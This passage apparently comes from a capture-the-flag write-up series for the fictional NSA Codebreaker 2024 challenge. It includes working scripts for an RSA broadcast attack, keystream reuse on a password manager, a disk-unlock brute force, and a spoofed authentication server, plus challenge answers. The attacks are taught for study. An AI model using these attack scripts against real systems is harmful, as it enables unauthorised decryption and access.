    x_coords = find_small_order_x_coordinates(d)
    small_order_x.update(x_coords)

# Add special-case values (explicit Integer conversion)
special_x = [
    0,                  # x=0 (order 4)
    1,                  # x=1 (invalid point)
    2^255,              # x=2²⁵⁵ (invalid field element)
    19,                 # x=19 (equivalent to 2²⁵⁵ mod p)
    0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFED,
    0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEE
]

for x in special_x:
    small_order_x.add(Integer(x))

# Convert to little-endian byte arrays
def int_to_le_bytes(n):
    return list(int(n).to_bytes(32, 'little'))

forbidden_curve_values = [int_to_le_bytes(x) for x in small_order_x]

# Print in Go slice format
print("var forbiddenCurveValues = [][]byte{")
for entry in forbidden_curve_values:
    byte_str = ", ".join(f"{b}" for b in entry)
    print(f"\t{{{byte_str}}},")
print("}")

[NSA2024] Task 5 – The #153 – (Reverse Engineering, Cryptography)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

Great job finding out what the APT did with the LLM! GA was able to check their network logs and figure out which developer copy and pasted the malicious code; that developer works on a core library used in firmware for the U.S. Joint Cyber Tactical Vehicle (JCTV)! This is worse than we thought!

You ask GA if they can share the firmware, but they must work with their legal teams to release copies of it (even to the NSA). While you wait, you look back at the data recovered from the raid. You discover an additional drive that you haven’t yet examined, so you decide to go back and look to see if you can find anything interesting on it. Sure enough, you find an encrypted file system on it, maybe it contains something that will help!

Unfortunately, you need to find a way to decrypt it. You remember that Emiko joined the Cryptanalysis Development Program (CADP) and might have some experience with this type of thing. When you reach out, he’s immediately interested! He tells you that while the cryptography is usually solid, the implementation can often have flaws. Together you start hunting for something that will give you access to the filesystem.

What is the password to decrypt the filesystem?

Downloads

disk image of the USB drive which contains the encrypted filesystem (disk.dd.tar.gz)
Interesting files from the user’s directory (files.zip)
Interesting files from the bin/ directory (bins.zip)

Prompt

Enter the password (hope it works!)

Solution

So we start off by checking the given files.

After some poking around, we learned that we are currently doing forensics on workstation of 570RM. We also learned that 570RM sent passwords to 4C1D, PL46U3, and V3RM1N.
Another thing here is we have the public keys of 4C1D, PL46U3, and V3RM1N but not their private keys.
And lastly, we have 570RM‘s private and public key.

Going back to the sent passwords, based on context clues, we assume that they are all the same plaintext but different recipients. We cannot recover the decipher without 4C1D, PL46U3, or V3RM1N‘s private key. However, since we have 3 different ciphertexts of the same plaintexts and their public keys, we might able to recover it! With the power of Chinese Remainder Theorem.

import base64
from Crypto.PublicKey import RSA
import gmpy2

# Function to decode base64 and convert to integer
def decode_ciphertext(encrypted_message):
    return int.from_bytes(base64.b64decode(encrypted_message), byteorder='big')

# Decode ciphertexts
c1 = decode_ciphertext("B+QWncX2NQpwUWIA+1+PXw7Y9x7eL53vfixIL+N9dRMG9ZKQnOyZARtV+tG1Zfs3z/r0shpW9fhfA9kOVUw/PGx6UpIRbgRXwKd3EZ0MomhxYXeaaxkXbI2lHfCHOhcWHqsGWgaMsSYxykDe9dX8hPtVeZMwXnGKGcGaZLoQ71WNG9e1kQaMB35UozCrNeqjfrvOJu0A5jIEjZkbaiJkhv01Z9SgE9E8ToCoPU2H/6g0j0j+PnDCjCjvaBS7A2AGP+L3twl3XQmrD8GqM38kIcvvdziZoSZwaB13Uzfzli+LBXKBr9RGjwuleQTeInfSBtW9obW1/I4803mqFj7NvQ==")
c2 = decode_ciphertext("ZtMuN9EjxCv+xtsKAhl1ECIi8wIe3CVC7L1HTTBap73V6MZSEjyEf3Ea7HWyW4juyTp2+PdfDBTBmvvLOYSA2Fm3ydGXBuLav98+7nNMcfEw38x6u9NpbsC0d5qgfhks5tSaFQCkgEHH89T+yrkjT6xkJ5kw64Q+jCVWB2uygzueK5RQbmJO9qRDtiOrxN/I+GW1MLjXpiZiPZcDLnKmBbLLq0P1efakIkkRvIHrbeyyZDRvlUu2d9HLXTVKqsqAh9umxjRKTm24wGbAm1jR9iBFEdGhn2PRDPaUMKEsryjbqzGvcyr1OCr3PS8cQBoejCOLia2L/HtwbRJwMXPEqQ==")
c3 = decode_ciphertext("VRvYIQ3rOrAgQpHyInyBfNpqEHUQJEbTM89+l+Os+3BtInbawuVQ/jc/xjuRQwe40wISJPMnh+uDJZiKn2jQZCWK8AqDZN3I7BXcmvSaSLHJI0lOezlEY/7Ps60wr71YXuozxqhQwJ9dgaNSdAv0BaFPvMN1V5+HGQJfc7VqxvdFpIOq1QwVQwvq9a9HGBaUJRv/sCHDt+EHQtXHNyXJ0U1ox9YqmkOBn+nGVKK5D/WI3iMy8qPYu9F3nGYU4gx644wZSbt8Ks0aTJxKs6TYZPez5+sk0Z7qow8tvKvAXInMb4CH2CsYZnfP8EZD2OG7LpBasSOw6QiE+eL1lkxokw==")

# Extract public keys
public_key1 = RSA.import_key('''-----BEGIN RSA PUBLIC KEY-----
MIIBCAKCAQEArqHDiJwi0hddQv1LCxZcPErAT/WRD6PdUoth/ZNqbv+BZq5JIQJg
AEzeEEqh1Wafv/Ks2fMXAMsslW413zm4Lssk5+os/0JLuUje9OKAhKPTacUt4P74
ZfjDIMOIUfcFmtjcM9nQwY7e/SWXzFeSQsrSp+XdYvB3sCDZtthCUTEtW8hKtPe2
H36K+eyQKzDoMcs/BNV+XiSJoeRK1zDqrOYDNy5Jrob/q4vElEd3BlhCAnlyJg0C
wKSnTrDFDccPWJFM+cPjneSsxTyThWZ8Vr2UcZkcO0VJvFedkb0xUpiTdrHyu9l8
JBqG4CEKs+y941WxoXwNa076GMkmmbCZEQIBAw==
-----END RSA PUBLIC KEY-----''')
public_key2 = RSA.import_key('''-----BEGIN RSA PUBLIC KEY-----
MIIBCAKCAQEAt88A0ixTOgd2GpyA4ihONMkmWyEQ89vvCRVtjtcc/lp3SeXZqLpR
tSIrUt0dsBMVIss+aHrquYs7PkN2FmiHCr+uEa5mB2FvxC04iits7mbYjqoZHpHo
cZAntnSUqW4xVZJEqLh/9L/g/U5WhZ4Ta78eJFpDlo2b/vKPQQ/aBNTmCxedpK6k
KW2EEdND0etrKjh2cl4vHz6d7+OmR3X32QTDBXIjjH+nYU09xrCItfx9s27457sA
yXJ6XY1ry4/DxvAY7yRks4Zd7GynI+kUaXuzhf2WZQIKUc/BrkAnhKaZmb9p+j79
Vx5zefStg4JcFQmAMghbJ3XoUYS6DtaukwIBAw==
-----END RSA PUBLIC KEY-----''')
public_key3 = RSA.import_key('''-----BEGIN RSA PUBLIC KEY-----
MIIBCAKCAQEAyKFLqgFkvwrRt4fBSbDXVjiPdR2jo2vkrUfefAzn7YXmgcy8YM06
SWo3jNVy0/MwrMFwymFHSf31OG3WLcY9epGpg0EP4Ha7go66fy6dv47kTzEnbxSk
o4rMTRiapDFaJRWzGbfZRboS/wuQYTsk+itdMwiFMd3jt5xlDs1ULMQfS/xfcbaR
p1BX5DbdmF45CaoTzv+uBI8piGn5eAFG/Yn3L0L09xDZl5Jtw7JlMeZIo8gzOXE5
HL6eBNZ+1bi4x4dwjXHEFNyeFvbKO4EI8nPk7eRMOyZoPFoY9vrFNVlJxgL4bkaP
RxTQVVtkRsC/FEPq6fKxOnG9odDRtDsfWwIBAw==
-----END RSA PUBLIC KEY-----''')

# Get moduli
n1 = public_key1.n
n2 = public_key2.n
n3 = public_key3.n

# Implementing a custom CRT function
def custom_crt(moduli, residues):
    N = 1
    for n in moduli:
        N *= n

    result = 0
    for n_i, a_i in zip(moduli, residues):
        N_i = N // n_i
        # Modular inverse of N_i modulo n_i
        inv = gmpy2.invert(N_i, n_i)
        result += a_i * N_i * inv

    return result % N

# Use the custom CRT function to find x
x = custom_crt([n1, n2, n3], [c1, c2, c3])

# Step 4: Find the cube root of x (since e=3 for Håstad's attack)
m = gmpy2.iroot(x, 3)[0]

# Step 5: Convert the integer m back to bytes
plaintext_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')

# Step 6: Strip the PKCS#1 v1.5 padding
if plaintext_bytes.startswith(b'\x00\x02'):
    # Find the first occurrence of \x00 after the padding
    separator_index = plaintext_bytes.find(b'\x00', 2)
    if separator_index != -1:
        plaintext_bytes = plaintext_bytes[separator_index + 1:]

# Convert to string and print the recovered plaintext
plaintext = plaintext_bytes.decode('utf-8', errors='ignore')
print("Recovered plaintext:", plaintext)

Got it!

We will comeback to this information later. But for now, we need to check other binaries.

We now shift our focus to pm binary that was under bins.zip. Upon inspecting it, we learned that it was an application built from python. So we use https://pyinstxtractor-web.netlify.app/ to extract the .pyc. After that, we will now use https://pylingual.io/ to convert .pyc to human readable format.

Upon poking, we learned that the password files have a structure of: first 16 bytes are IV, and the rest are the ciphertext. We also aren’t successful in recovering the master password.

Upon investigating further, we are able to see that AWS and USB password files do have the same key.

And since we have the ciphertext and IVs of both AWS and USB, and we also have the plaintext of AWS from earlier engagement, then therefore we will be able to use Key Stream Cipher Attack to recover the plaintext of USB.

from Crypto.Cipher import AES
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import hashlib
import time

# Provided data
aws_encrypted = b'\x7c\x30\x03\x7e\xec\x00\xb2\xe1\xf4\x09\xea\x92\x27\x2d\x1e\x80\x71\x89\x2b\xb9\xa1\x4e\x39\xf2\x05\x7b\xda\xa6\x83\x0b\x2d\xbc\xff\xdc'
aws_plaintext = "r2s^PKT=lW2L(wmG06"
usb_encrypted = b'\x7c\x30\x03\x7e\xec\x00\xb2\xe1\xf4\x09\xea\x92\x27\x2d\x1e\x80\x38\xc8\x01\xdb\xa5\x43\x5c\xe2\x2c\x76\x8b\xc0\xdd\x54\x2e\xac\x1b\xbb'


# Extract IV (first 16 bytes)
iv = usb_encrypted[:16]

# Extract ciphertexts (excluding IV)
usb_ciphertext = usb_encrypted[16:]
aws_ciphertext = aws_encrypted[16:]

# Convert plaintext to bytes
aws_plaintext_bytes = aws_plaintext.encode()

# Function to derive the keystream and decrypt usb_ciphertext until non-UTF-8 encountered
def brute_force_until_invalid_utf8(aws_plaintext_bytes, aws_ciphertext, usb_ciphertext):
    possible_plaintexts = []
    # Brute-force until a non-UTF-8 character is encountered
    for length in range(1, len(aws_plaintext_bytes) + 1):
        # Derive the partial keystream for the current length
        keystream = bytes(c ^ p for c, p in zip(aws_ciphertext[:length], aws_plaintext_bytes[:length]))

        # Attempt to recover the usb plaintext using the partial keystream
        usb_plaintext = bytes(c ^ k for c, k in zip(usb_ciphertext[:length], keystream))
        
        # Attempt to recover aws plaintext to validate against the original plaintext
        aws_recovered = bytes(c ^ k for c, k in zip(aws_ciphertext[:length], keystream))
        
        try:
            usb_plaintext_string = usb_plaintext.decode('utf-8')
            aws_recovered_string = aws_recovered.decode('utf-8')
            
            # Check if aws_recovered matches aws_plaintext for validation
            if aws_recovered_string == aws_plaintext[:length]:
                possible_plaintexts.append((length, usb_plaintext_string, aws_recovered_string))
        except UnicodeDecodeError:
            # Stop if non-UTF-8 character is encountered
            break
    
    return possible_plaintexts

# Perform brute-force decryption
decrypted_plaintexts = brute_force_until_invalid_utf8(aws_plaintext_bytes, aws_ciphertext, usb_ciphertext)

# Output all possible plaintexts to a file
with open('usb_plaintext.txt', 'w') as f:
    for length, usb_plaintext, aws_recovered in decrypted_plaintexts:
        f.write(f"{usb_plaintext}\n")

Upon some iterations, I learned that the 17th and 18th characters are non-ascii printable. So there might be some collision happening. So what I did was to create a script to bruteforce the last 2 characters to forcefully unlock the USB.

We need to mount the disk.dd first by using the following commands below.

Next, once the disk is mounted, we should now see the unlock and lock binaries.

Now, here is the bruteforce script to unlock the USB content.

import subprocess
import string
import sys
from itertools import product

# Define the fixed prefix of the password
fixed_prefix = ";sY<TF1-EZc*v(nW"

# Character set for brute-forcing the last two characters
charset = string.ascii_letters + string.digits + string.punctuation

# Function to attempt unlocking
def try_password(password):
    process = subprocess.Popen(['/mnt/unlock'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate(input=f"{password}\n".encode())
    
    # Check if the output does not contain "Password incorrect."
    if b"Password incorrect." not in stdout + stderr:
        return True
    return False

# Generate all combinations of two characters from the charset
for combo in product(charset, repeat=2):
    # Form the password by appending the brute-forced characters to the fixed prefix
    password = fixed_prefix + ''.join(combo)
    
    # Try the password
    if try_password(password):
        print(f"Password found: {password}")
        sys.exit(0)  # Exit the script once a valid password is found
    else:
        print(f"Tried password: {password} - Incorrect")

The 3 files are needed for Task 6 and Task 7. The only thing needed to submit to complete the task 5 is the password.

[NSA2024] Task 4 – LLMs never lie – (Programming, Forensics)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

Great work! With a credible threat proven, NSA’s Cybersecurity Collaboration Center reaches out to GA and discloses the vulnerability with some indicators of compromise (IoCs) to scan for.

New scan reports in hand, GA’s SOC is confident they’ve been breached using this attack vector. They’ve put in a request for support from NSA, and Barry is now tasked with assisting with the incident response.

While engaging the development teams directly at GA, you discover that their software engineers rely heavily on an offline LLM to assist in their workflows. A handful of developers vaguely recall once getting some confusing additions to their responses but can’t remember the specifics.

Barry asked for a copy of the proprietary LLM model, but approvals will take too long. Meanwhile, he was able to engage GA’s IT Security to retrieve partial audit logs for the developers and access to a caching proxy for the developers’ site.

Barry is great at DFIR, but he knows what he doesn’t know, and LLMs are outside of his wheelhouse for now. Your mutual friend Dominique was always interested in GAI and now works in Research Directorate.

The developers use the LLM for help during their work duties, and their AUP allows for limited personal use. GA IT Security has bound the audit log to an estimated time period and filtered it to specific processes. Barry sent a client certificate for you to authenticate securely with the caching proxy using https://[REDACTED]/?q=query%20string.

You bring Dominique up to speed on the importance of the mission. They receive a nod from their management to spend some cycles with you looking at the artifacts. You send the audit logs their way and get to work looking at this one.

Find any snippet that has been purposefully altered.

Downloads

TTY audit log of a developer’s shell activity (audit.log)

Prompt

A maliciously altered line from a code snippet

Solution

After downloading the files, we are greeted a huge audit log file that contents some keyboard strokes and escaped characters.

We need to make a parser for this to make this human readable.

import sys
import re

# Precompile the regular expression for CSI (Control Sequence Introducer) sequences
CSI_PATTERN = re.compile(r'\x1b\[(.*?)([@-~])')

def process_line(line, history):
    # Try to decode the escaped sequences to actual control characters
    try:
        line_decoded = bytes(line, "utf-8").decode("unicode_escape")
    except UnicodeDecodeError:
        # If decoding fails, return the line as-is
        return line.strip()
    
    buffer = []
    cursor = 0
    i = 0
    interrupted = False  # Flag to indicate if Ctrl+C was pressed
    history_index = len(history)  # Start at the end of history (no history navigation)
    while i < len(line_decoded):
        c = line_decoded[i]
        # Handle control characters and escape sequences
        if c == '\x03':  # Ctrl+C (Interrupt)
            # Indicate that Ctrl+C was pressed
            interrupted = True
            i += 1
            break  # Stop processing the current line
        elif c == '\x1b':  # Escape character
            # Check if it's a CSI sequence
            if i + 1 < len(line_decoded) and line_decoded[i + 1] == '[':
                # Try to match CSI sequence
                m = CSI_PATTERN.match(line_decoded, i)
                if m:
                    full_seq = m.group(0)
                    params = m.group(1)
                    final_byte = m.group(2)
                    seq_length = len(full_seq)
                    # Now process known CSI sequences
                    if full_seq == '\x1b[H':  # Cursor to Home
                        cursor = 0
                    elif full_seq == '\x1b[2J':  # Clear Screen
                        buffer = []
                        cursor = 0
                    elif full_seq == '\x1b[3~':  # Delete key
                        if cursor < len(buffer):
                            del buffer[cursor]
                    elif full_seq == '\x1b[D':  # Left Arrow
                        if cursor > 0:
                            cursor -= 1
                    elif full_seq == '\x1b[C':  # Right Arrow
                        if cursor < len(buffer):
                            cursor += 1
                    elif full_seq == '\x1b[A':  # Up Arrow (Previous Command)
                        if history:
                            history_index = max(history_index - 1, 0)
                            buffer = list(history[history_index])
                            cursor = len(buffer)
                    elif full_seq == '\x1b[B':  # Down Arrow (Next Command)
                        if history:
                            history_index = min(history_index + 1, len(history))
                            if history_index < len(history):
                                buffer = list(history[history_index])
                                cursor = len(buffer)
                            else:
                                # If beyond the latest command, clear buffer
                                buffer = []
                                cursor = 0
                    else:
                        # For unhandled CSI sequences, leave them escaped
                        buffer.insert(cursor, full_seq)
                        cursor += len(full_seq)
                    # Advance index by length of the sequence
                    i += seq_length
                    continue
                else:
                    # Unrecognized CSI sequence, leave it escaped
                    escaped_seq = line_decoded[i].encode('unicode_escape').decode()
                    buffer.insert(cursor, escaped_seq)
                    cursor += len(escaped_seq)
                    i += 1
            else:
                # Not a CSI sequence, leave it escaped
                escaped_seq = line_decoded[i].encode('unicode_escape').decode()
                buffer.insert(cursor, escaped_seq)
                cursor += len(escaped_seq)
                i += 1
        elif c == '\x08':  # Backspace
            if cursor > 0:
                del buffer[cursor - 1]
                cursor -= 1
            i += 1
        elif c == '\x01':  # Ctrl+A (Home)
            cursor = 0
            i += 1
        elif c == '\x05':  # Ctrl+E (End)
            cursor = len(buffer)
            i += 1
        elif c == '\x0d' or c == '\x0a':  # Carriage Return (Enter) or Line Feed (Newline)
            # End of command; break if needed
            i += 1
            break  # Stop processing the current line
        else:
            # Insert character at cursor position
            buffer.insert(cursor, c)
            cursor += 1
            i += 1
    command = ''.join(buffer).strip()
    if interrupted:
        command += ' [Ctrl+C pressed]'
    return command

def parse_file_content(input_file):
    commands = []
    with open(input_file, 'r', encoding='utf-8') as f:
        lines = f.readlines()
        i = 0
        while i < len(lines):
            line = lines[i].rstrip('\n')
            # Pass the command history to process_line
            processed_command = process_line(line, commands)
            if processed_command:
                commands.append(processed_command)
            i += 1
    return commands

def main():
    if len(sys.argv) != 3:
        print("Usage: python transform.py <input_file> <output_file>")
        sys.exit(1)
    input_file = sys.argv[1]
    output_file = sys.argv[2]

    # Parse the content and write the commands to the output file
    parsed_commands = parse_file_content(input_file)
    with open(output_file, 'w', encoding='utf-8') as f:
        for cmd in parsed_commands:
            f.write(cmd + '\n')

if __name__ == "__main__":
    main()

Now we have a somewhat human readable log.
Now we are interested only with the prompts.
So we remove lines that do not have gagpt keyword.

We also saw some lines with literal string Ctrl+C... so we remove those as well.

Now we remove all of the prefix characters before the actual prompt string.

The final output should look like this.

Now, we need to create a .p12 file to be able to programmatically interact with the LLM server.

import httpx
import json
import os
import argparse
import tempfile
from urllib.parse import quote
from cryptography.hazmat.primitives.serialization.pkcs12 import load_key_and_certificates
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# Function to load .p12 file
def load_p12_certificate(p12_path, p12_password):
    with open(p12_path, "rb") as p12_file:
        p12_data = p12_file.read()
    private_key, certificate, additional_certs = load_key_and_certificates(
        p12_data, 
        p12_password.encode(), 
        default_backend()
    )
    return private_key, certificate

# Function to create a filename-safe version of a query string
def sanitize_filename(query, max_length=255):
    # Replace spaces with underscores and remove invalid filename characters
    sanitized = ''.join(c if c.isalnum() or c in ['_', '-'] else '_' for c in query)
    # Truncate if too long, and leave space for file extension
    if len(sanitized) > max_length - 5:  # Reserving space for ".json"
        sanitized = sanitized[:max_length - 5]
    return sanitized

# Function to make a request and save response as JSON
def make_request_and_save(query, client, save_location):
    url = f"https://[REDACTED]/?q={quote(query)}"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Te": "trailers"
    }
    
    response = client.get(url, headers=headers)
    
    body = response.json()
    output_data = {
        "q": query,
        "body": body
    }
    
    # Sanitize filename and save as JSON
    filename = sanitize_filename(query) + ".json"
    full_path = os.path.join(save_location, filename)
    with open(full_path, "w") as f:
        json.dump(output_data, f, indent=4)
    print(f"Saved response to {full_path}")

# Main function to read queries and perform requests
def main(p12_path, p12_password, queries_file, save_location):
    private_key, certificate = load_p12_certificate(p12_path, p12_password)
    
    # Serialize private key and certificate to PEM format
    private_key_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.TraditionalOpenSSL,
        encryption_algorithm=serialization.NoEncryption()
    )
    certificate_pem = certificate.public_bytes(serialization.Encoding.PEM)
    
    # Create temporary files for the certificate and private key
    with tempfile.NamedTemporaryFile(delete=False) as cert_file, tempfile.NamedTemporaryFile(delete=False) as key_file:
        cert_file.write(certificate_pem)
        key_file.write(private_key_pem)
        cert_file_path = cert_file.name
        key_file_path = key_file.name
    
    # Using httpx client with HTTP/2 and certificate for mutual TLS
    with httpx.Client(http2=True, verify=False, cert=(cert_file_path, key_file_path)) as client:
        # Read queries from the file
        with open(queries_file, "r") as f:
            queries = [line.strip().strip('"') for line in f.readlines() if line.strip()]
        
        # Process each query
        for query in queries:
            make_request_and_save(query, client, save_location)
    
    # Clean up temporary files
    os.remove(cert_file_path)
    os.remove(key_file_path)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Scraper to make HTTP/2 requests with a .p12 key and save results as JSON.")
    parser.add_argument("--p12", required=True, help="Path to the .p12 certificate file.")
    parser.add_argument("--p12_password", required=True, help="Password for the .p12 certificate file.")
    parser.add_argument("--queries_file", required=True, help="Path to the file containing queries.")
    parser.add_argument("--save_location", required=True, help="Directory to save the resulting JSON files.")
    
    args = parser.parse_args()
    
    # Create save directory if it does not exist
    os.makedirs(args.save_location, exist_ok=True)
    
    main(args.p12, args.p12_password, args.queries_file, args.save_location)

Now, there would be a lot of results.

There are few errors from the queries that we must also correct.

Now using burpsuite, connect to the server.
Let’s setup the burpsuite first by importing the .p12 file.

Then manually pull the data that has not been able to pull due to character encoding problem.

Then repeat for other data as well.

When it’s done, we are now ready to build all json files into one big json file.

import json
import glob
import sys
import os

def combine_json_files(input_dir, output_file):
    # Ensure input directory exists
    if not os.path.isdir(input_dir):
        print(f"Error: The directory '{input_dir}' does not exist.")
        return

    # Find all JSON files in the input directory
    json_files = glob.glob(os.path.join(input_dir, '*.json'))

    if not json_files:
        print(f"No JSON files found in directory '{input_dir}'.")
        return

    combined_json = []

    # Read and combine all JSON files
    for file in json_files:
        with open(file, 'r') as f:
            data = json.load(f)
            combined_json.append(data)

    # Save the combined JSON array to the specified output file
    with open(output_file, 'w') as output_file:
        json.dump(combined_json, output_file, indent=4)

    print(f"Combined JSON file created successfully as '{output_file}'.")

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: python combine_json.py <input_directory> <output_file>")
        sys.exit(1)
    
    input_directory = sys.argv[1]
    output_filename = sys.argv[2]
    
    combine_json_files(input_directory, output_filename)

In the first line, make it a json variable.

Now use this html template so we can view the json files in human readable display.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>JSON Viewer</title>
    <style>
        #container {
            max-width: 800px;
            margin: auto;
            padding: 20px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-family: Arial, sans-serif;
        }
        #markdown {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 5px;
            background-color: #f9f9f9;
        }
        #buttons {
            margin-top: 20px;
            text-align: center;
        }
        button {
            margin: 5px;
            padding: 10px;
        }
    </style>
    <!-- Correct CDN link for marked.js -->
    <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
    <!-- Load JSON data as a script -->
    <script src="./gagpt_catalogue.js"></script>
</head>
<body>
    <div id="container">
        <h2>JSON Viewer</h2>
        <h3 id="prompt"></h3>
        <div id="markdown"></div>
        <div id="buttons">
            <button onclick="previousObject()">Previous</button>
            <button onclick="nextObject()">Next</button>
        </div>
    </div>

    <script>
        let currentIndex = 0;
        let data = [];

        document.addEventListener('DOMContentLoaded', () => {
            // Assign the loaded JSON data to the variable
            data = jsonData;
            displayObject(currentIndex);
        });

        // Display the current object
        function displayObject(index) {
            const obj = data[index];
            const promptText = obj.body.prompt;
            const fulfillmentText = obj.body.fulfillment[0].text;

            document.getElementById('prompt').textContent = promptText;
            document.getElementById('markdown').innerHTML = marked.parse(fulfillmentText);
        }

        // Navigate to the next object
        function nextObject() {
            if (currentIndex < data.length - 1) {
                currentIndex++;
                displayObject(currentIndex);
            }
        }

        // Navigate to the previous object
        function previousObject() {
            if (currentIndex > 0) {
                currentIndex--;
                displayObject(currentIndex);
            }
        }
    </script>
</body>
</html>

We have now a human readable display of prompts.

The last piece of the puzzle is to review all of these and find something that is suspicious.

And yes, it is very time consuming especially when you don’t know what exactly you are looking for.

[NSA2024] Task 3 – How did they get in? – (Reverse Engineering, Vulnerability Research)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

Great work finding those files! Barry shares the files you extracted with the blue team who share it back to Aaliyah and her team. As a first step, she ran strings across all the files found and noticed a reference to a known DIB, “Guardian Armaments” She begins connecting some dots and wonders if there is a connection between the software and the hardware tokens. But what is it used for and is there a viable threat to Guardian Armaments (GA)?

She knows the Malware Reverse Engineers are experts at taking software apart and figuring out what it’s doing. Aaliyah reaches out to them and keeps you in the loop. Looking at the email, you realize your friend Ceylan is touring on that team! She is on her first tour of the Computer Network Operations Development Program

Barry opens up a group chat with three of you. He wants to see the outcome of the work you two have already contributed to. Ceylan shares her screen with you as she begins to reverse the software. You and Barry grab some coffee and knuckle down to help.

Figure out how the APT would use this software to their benefit

Downloads

Executable from ZFS filesystem (server)
Retrieved from the facility, could be important? (shredded.jpg)

Prompt

Enter a valid JSON that contains the (3 interesting) keys and specific values that would have been logged if you had successfully leveraged the running software. Do ALL your work in lower case.

Solution

I downloaded the attachments and start poking the files. Based from the error, it seems like it connects to a server or some sort.

Upon digging more, it seems like this is an application with protobuf definitions.

Now, we will extract protobuf definitions using https://github.com/arkadiyt/protodump

Since we have now the protobuf definition, we can now create a server simulator to observe the behavior and dig more deep in the application. We can use https://pypi.org/project/grpcio-tools/

We can now write our server simulator.

from concurrent import futures
import time
import grpc
import logging

import auth_pb2
import auth_pb2_grpc

_ONE_DAY_IN_SECONDS = 60 * 60 * 24

# Configure logging
logging.basicConfig(
    level=logging.DEBUG,
    format="%(asctime)s - %(name)s - %(levelname)s - %(message)s"
)

# Interceptor for handling logging on method not found or decoding errors
class LoggingInterceptor(grpc.ServerInterceptor):
    def intercept_service(self, continuation, handler_call_details):
        method = handler_call_details.method
        logging.info(f"Incoming request for method: {method}")
        
        try:
            # Call the actual service method
            response = continuation(handler_call_details)
            return response
        except grpc.RpcError as e:
            # Log error details
            if e.code() == grpc.StatusCode.UNIMPLEMENTED:
                logging.error(f"Method not found: {method}")
            elif e.code() == grpc.StatusCode.INVALID_ARGUMENT:
                logging.error(f"Request decoding error for method: {method}")
            else:
                logging.error(f"Error during request handling: {e}")
            raise e

class AuthService(auth_pb2_grpc.AuthServiceServicer):
    def log_metadata(self, context):
        # Log the incoming metadata (headers)
        metadata = context.invocation_metadata()
        logging.info("Received headers:")
        for key, value in metadata:
            logging.info(f"{key}: {value}")

    def Ping(self, request, context):
        # Log headers and request details
        self.log_metadata(context)
        logging.debug(f"Received Ping request: {request}")
        
        # Return the Ping response
        return auth_pb2.PingResponse(response=1)

    def Authenticate(self, request, context):
        # Log headers and request details
        self.log_metadata(context)
        logging.debug(f"Received Authenticate request: {request}")
        
        # Return the Authenticate response
        return auth_pb2.AuthResponse(success=True)

    def RegisterOTPSeed(self, request, context):
        # Log headers and request details
        self.log_metadata(context)
        logging.debug(f"Received RegisterOTPSeed request: {request}")
        
        # Return the RegisterOTPSeed response
        return auth_pb2.RegisterOTPSeedResponse(success=False)

    def VerifyOTP(self, request, context):
        # Log headers and request details
        self.log_metadata(context)
        logging.debug(f"Received VerifyOTP request: {request}")
        
        # Return the RegisterOTPSeed response
        return auth_pb2.VerifyOTPResponse(success=True,token="000000")

def serve():
    # Add the interceptor to the server
    server = grpc.server(
        futures.ThreadPoolExecutor(max_workers=10),
        interceptors=[LoggingInterceptor()]
    )
    
    auth_pb2_grpc.add_AuthServiceServicer_to_server(AuthService(), server)
    server.add_insecure_port("[::]:50052")
    server.start()

    # Log the server start event
    logging.info("gRPC server started on port 50052")

    try:
        while True:
            time.sleep(_ONE_DAY_IN_SECONDS)
    except KeyboardInterrupt:
        # Log the server stop event
        logging.info("Stopping gRPC server...")
        server.stop(grace=0)
        logging.info("gRPC server stopped")

if __name__ == "__main__":
    serve()

We then also create a script for a client to connect to the server running at 50051.

import argparse

import grpc

import seed_generation_pb2
import seed_generation_pb2_grpc

def run(host):
    channel = grpc.insecure_channel(host)
    stub = seed_generation_pb2_grpc.SeedGenerationServiceStub(channel)

    response = stub.GetSeed(seed_generation_pb2.GetSeedRequest(username="jasper_05376",password="test"))
    print("SeedGenerationService client received: Seed=" + str(response.seed) + ", Count=" + str(response.count))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("--host", default="localhost:50051", help="The server host.")
    args = parser.parse_args()
    run(args.host)

